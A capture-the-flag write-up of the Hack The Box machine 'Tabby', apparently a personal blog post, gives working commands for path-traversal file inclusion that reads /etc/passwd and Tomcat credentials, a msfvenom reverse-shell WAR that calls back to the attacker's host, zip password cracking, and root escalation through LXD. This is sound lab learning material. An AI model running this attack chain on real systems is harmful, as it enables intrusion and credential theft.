Hackthebox – Tabby
As with any target, Tabby gets several port scans
root@kalivm:~/tabby# nmap -oN fullscan-A -A 10.10.10.194
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-21 10:04 CEST
Nmap scan report for 10.10.10.194 (10.10.10.194)
Host is up (0.017s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open http Apache Tomcat
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
8443/tcp open ssl/http LXD container manager REST API
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=root@ghost/organizationName=linuxcontainers.org
| Subject Alternative Name: DNS:ghost, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Issuer: commonName=root@ghost/organizationName=linuxcontainers.org
| Public Key type: ec
| Public Key bits: 384
| Signature Algorithm: ecdsa-with-SHA384
| Not valid before: 2020-06-16T13:34:28
| Not valid after: 2030-06-14T13:34:28
| MD5: f98f 6c74 ed36 2c21 8c66 c9aa 5894 61d9
|_SHA-1: c78b 1414 6bfc 172e 1a6f c9f1 f122 2809 2be5 c105
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=6/21%OT=22%CT=1%CU=40800%PV=Y%DS=2%DC=T%G=Y%TM=5EEF149
OS:7%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%TG=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M
OS:54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%TG=40%S=O%A=S+%F=AS%RD=0%Q=)T1(R=Y%DF=Y%T=
OS:40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R
OS:%O=%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%TG=4
OS:0%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=
OS:0%Q=)T6(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%TG=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T7(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=N)U1(R=Y%DF=N%T=40%IPL=1
OS:64%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%TG=40%CD=S)IE(R=Y
OS:%DFI=N%T=40%CD=S)
Uptime guess: 30.233 days (since Fri May 22 04:28:56 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 3306/tcp)
HOP RTT ADDRESS
1 15.15 ms 10.10.14.1 (10.10.14.1)
2 15.22 ms 10.10.10.194 (10.10.10.194)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.23 seconds
Ports 22, 80, 8080 and 8443 are open. Interesting to see if tomcat is as vulnerable as it always is. First I start browsing through the various pages.
I first verify if the port 8080 is indeed a tomcat server, and it appears to be so. But I do not have access here yet, so I continue my enumeration.
While looking at the regular port 80 web server, I see various links.
After clicking the statement on recovering from the data breach, it takes me to a news.php page which looks very much useful for File Inclusion. Time to try it
root@kalivm:~/tabby# curl http://megahosting.htb/news.php?file=../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
---snip---
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:997:997::/opt/tomcat:/bin/false
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
ash:x:1000:1000:clive:/home/ash:/bin/bash
After trying some remote file inclusion without success, I did get Local File Inclusion with the etc/passwd file, showing me that lxd, tomcat and ash are accounts added to the system so I make notes of them.
After some browsing through the file lists, I get a bit cranky as all the documentation of tomcat points to, is the CATALINA_HOME and CATALINA_BASE variables. Nothing about the actual location of the files, until I ask around on discord, I get a nudge to the debian package list… Why didn’t I think of this before.
root@kalivm:~/tabby# curl http://megahosting.htb/news.php?file=../../../../../../../usr/share/tomcat9/etc/tomcat-users.xml
<?xml version="1.0" encoding="UTF-8"?>
---snip---
<role rolename="admin-gui"/>
<role rolename="manager-script"/>
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>
Now it was pretty straight-forward to obtain the username and password for this tomcat installation.
I am able to access the vhost manager now and change some configuration things in tomcat.
However, when I browse to the app manager, I get an error 403, apparently the account is not authorized to use the web interface. Therefore I go back to the tomcat-users.xml file and am wondering what those roles allow me to do. So I search the tomcat9 manual a bit and find out that the manager-script role means that I can access the http://{host}:{port}/manager/text/ API but not the web interface.
root@kalivm:~/tabby# export PASS=\$3cureP4s5w0rd123\!
root@kalivm:~/tabby# curl -u tomcat:${PASS} megahosting.htb:8080/manager/text/list
OK - Listed applications for virtual host [localhost]
/:running:0:ROOT
/examples:running:0:/usr/share/tomcat9-examples/examples
/host-manager:running:1:/usr/share/tomcat9-admin/host-manager
/manager:running:0:/usr/share/tomcat9-admin/manager
/docs:running:0:/usr/share/tomcat9-docs/docs
I try to verify it by accessing the list command, and get feedback with the password from the tomcat-users.xml file, that seems to work so this might be the avenue of attack.
root@kalivm:~/tabby# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.6 LPORT=9000 -f war > shell.war
Payload size: 1093 bytes
Final size of war file: 1093 bytes
I prepare a war-file, as I recall that from my OSCP journey where I also encountered a similar setup, but with the web interface.
root@kalivm:~/tabby# curl -T shell.war -u tomcat:${PASS} megahosting.htb:8080/manager/text/deploy?path=/examples/sedje&update=true
% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0OK - Deployed application at context path [/examples/sedje]
100 1616 0 60 100 1556 73 1895 --:--:-- --:--:-- --:--:-- 1965
root@kalivm:~/tabby# curl -L http://megahosting.htb:8080/examples/sedje
I upload it, and call it using curl while having a listener ready.
root@kalivm:~/tabby# rlwrap nc -nlvp 9000
Listening on 0.0.0.0 9000
Connection received on 10.10.10.194 35704
id
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
python3 -c 'import pty;pty.spawn("/bin/bash")'
tomcat@tabby:/var/lib/tomcat9$
And there’s the shell! I’m now user tomcat on the box. No root yet, but I’m getting there.
tomcat@tabby:/var/lib/tomcat9$ ls /var/www/html/files
ls /var/www/html/files
16162020_backup.zip archive revoked_certs statement
After some browsing through the system, I come accross a backup.zip file.
root@kalivm:~/tabby# wget http://megahosting.htb/files/16162020_backup.zip
--2020-06-21 11:29:47-- http://megahosting.htb/files/16162020_backup.zip
Resolving megahosting.htb (megahosting.htb)... 10.10.10.194
Connecting to megahosting.htb (megahosting.htb)|10.10.10.194|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8716 (8.5K) [application/zip]
Saving to: ‘16162020_backup.zip’
16162020_backup.zip 100%[==================>] 8.51K --.-KB/s in 0s
2020-06-21 11:29:47 (71.1 MB/s) - ‘16162020_backup.zip’ saved [8716/8716]
root@kalivm:~/tabby# unzip 16162020_backup.zip
Archive: 16162020_backup.zip
creating: var/www/html/assets/
[16162020_backup.zip] var/www/html/favicon.ico password:
So I download the file and try to unzip it, however it immediately asks for a password. Perhaps John knows how to deal with this.
root@kalivm:~/tabby# zip2john 16162020_backup.zip > zip-hash
16162020_backup.zip/var/www/html/assets/ is not encrypted!
ver 1.0 16162020_backup.zip/var/www/html/assets/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/favicon.ico PKZIP Encr: 2b chk, TS_chk, cmplen=338, decmplen=766, crc=282B6DE2
ver 1.0 16162020_backup.zip/var/www/html/files/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/index.php PKZIP Encr: 2b chk, TS_chk, cmplen=3255, decmplen=14793, crc=285CC4D6
ver 1.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/logo.png PKZIP Encr: 2b chk, TS_chk, cmplen=2906, decmplen=2894, crc=2F9F45F
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/news.php PKZIP Encr: 2b chk, TS_chk, cmplen=114, decmplen=123, crc=5C67F19E
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/Readme.txt PKZIP Encr: 2b chk, TS_chk, cmplen=805, decmplen=1574, crc=32DB9CE3
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use option -o to pick a file at a time.
root@kalivm:~/tabby# cat zip-hash
16162020_backup.zip:$pkzip2$3*2*1*0*0*24*02f9*5d46*ccf7b799809a3d3c12abb83063af3c6dd538521379c8d744cd195945926884341a9c4f74*1*0*8*24*285c*5935*f422c178c96c8537b1297ae19ab6b91f497252d0a4efe86b3264ee48b099ed6dd54811ff*2*0*72*7b*5c67f19e*1b1f*4f*8*72*5c67*5a7a*ca5fafc4738500a9b5a41c17d7ee193634e3f8e483b6795e898581d0fe5198d16fe5332ea7d4a299e95ebfff6b9f955427563773b68eaee312d2bb841eecd6b9cc70a7597226c7a8724b0fcd43e4d0183f0ad47c14bf0268c1113ff57e11fc2e74d72a8d30f3590adc3393dddac6dcb11bfd*$/pkzip2$::16162020_backup.zip:var/www/html/news.php,
var/www/html/logo.png, var/www/html/index.php:16162020_backup.zip
Of course john knows how to extract the hash, lets hope john can also crack it using rockyou.txt.
root@kalivm:~/tabby# john --wordlist=/usr/share/wordlists/rockyou.txt zip-hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
admin@it (16162020_backup.zip)
1g 0:00:00:00 DONE (2020-06-21 11:35) 1.315g/s 13635Kp/s 13635Kc/s 13635KC/s adnc153..adenabuck
Use the "--show" option to display all of the cracked passwords reliably
Session completed
So the password for the zip file is admin@it. After looking at the file contents, I see nothing particularly interesting so I decide to try this password as Ash’ password.
tomcat@tabby:/var/lib/tomcat9$ su - ash
su - ash
Password: admin@it
ash@tabby:~$ cat user.txt
cat user.txt
349369<NOFLAG>d243b44845862c0f4c
And it works, there is the user.txt flag
Privilege escalation
ash@tabby:~$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
So ash has access to lxd, this might be a feasible way to escalate to root.
ash@tabby:~$ lxc image list
+---------+--------------+--------+-------------------------------+--------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE |
+---------+--------------+--------+-------------------------------+--------------+
No images, great… While I was discussing this box on discord, and the stuff I found, I mentioned that I did not have much experience with lxc/lxd yet, and the person I was discussing it with, immediately came up with this exploit-db link for exploiting LXC. After some quick reading through it, it did seem very useful and I decided to give it a try by dissecting it into separate steps.
root@kalivm:~/tabby# wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
--2020-06-21 12:10:23-- https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.64.133, 151.101.128.133, 151.101.192.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.64.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7498 (7.3K) [text/plain]
Saving to: ‘build-alpine’
build-alpine 100%[======================>] 7.32K --.-KB/s in 0s
2020-06-21 12:10:23 (21.1 MB/s) - ‘build-alpine’ saved [7498/7498]
root@kalivm:~/tabby# ./build-alpine
Determining the latest release... v3.12
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.12/main/x86_64
---snip---
OK: 8 MiB in 19 packages
I analyze the script to determine if it can do no harm, it seems benign so I decide to just run it and it creates a new .tar.gz file, this may be useful for importing into lxc as the exploit described.
ash@tabby:~/$ mkdir images
mkdir images
ash@tabby:~/$ cd images
cd images
ash@tabby:~/images$ wget http://10.10.14.6/alpine-v3.12-x86_64-20200621_1522.tar.gz
I transfer the image from my kali box to the victim machine, to import it into lxc.
ash@tabby:~/images$ lxc image import alpine-v3.12-x86_64-20200621_1522.tar.gz
lxc image import alpine-v3.12-x86_64-20200621_1522.tar.gz
ash@tabby:~/images$ lxd init --auto
lxd init --auto
No errors, that seemed to have worked, lets check it out.
ash@tabby:~/images$ lxc image list
+---------+--------------+--------+-------------------------------+--------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE |
+---------+--------------+--------+-------------------------------+--------------+
| | 950fbf792b52 | no | alpine v3.12 (20200621_06:57) | x86_64 |
+---------+--------------+--------+-------------------------------+--------------+
Great, that part works too. Now I should initialize the image and make it mount the root of my current OS as root user. However, I did not provide an alias and in the example exploit, the alias name was used for initialization. After some research, I found that I can also use the fingerprint to initialize the image so lets try that.
ash@tabby:~/images$ lxc init 950fbf792b52 secwalk -c security.privileged=true
Creating secwalk
ash@tabby:~/images$ lxc config device add secwalk giveMeRoot disk source=/ path=/mnt/root recursive=true
Device giveMeRoot added to secwalk
ash@tabby:~/images$ lxc start secwalk
ash@tabby:~/images$ lxc exec secwalk sh
~ #
Now all that is left to do, is to see if I can really get to the root flag using this approach.
~ # ls /mnt/root/root
root.txt snap
~ # cat /mnt/root/root/root.txt
4f37ae9<NOFLAG>a9243e0034a424382
And apparently I can, there’s the root flag, and this box is done again. Learned a few nice tricks about uploading stuff to tomcat with curl, and using lxc.